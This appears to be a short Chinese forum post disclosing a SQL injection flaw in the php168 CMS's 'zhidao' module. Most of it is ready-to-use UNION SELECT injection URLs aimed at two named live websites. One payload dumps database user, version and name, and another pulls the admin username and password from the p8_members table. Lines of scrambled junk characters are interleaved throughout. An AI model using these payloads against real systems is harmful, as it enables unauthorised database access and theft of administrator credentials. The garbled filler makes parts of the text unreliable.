php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
5 q5 ~/ I4 H3 {; y& ~* N  @                                                         
                                       
/ b* c$ o. R( O
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
. n/ f) E3 j6 E4 W% c. D1 Z3 \                                                     
8 {% I# {# U5 F: d8 Q/ m                                                                  
4 [7 o, O) p2 ?) d- X$ ?. h2 J                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

6 a( ]. d- m+ H0 m8 u
2 a# c' K! V4 K0 v9 C: C. X: X
( r6 h. J2 e$ |                                                            

- w. ?" w( z2 k# X. r! `0 ^( _http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
1 H: T, o. t  X0 s: t2 w, v* {


                                                                    
2 \8 p( ]4 t7 ^' L6 a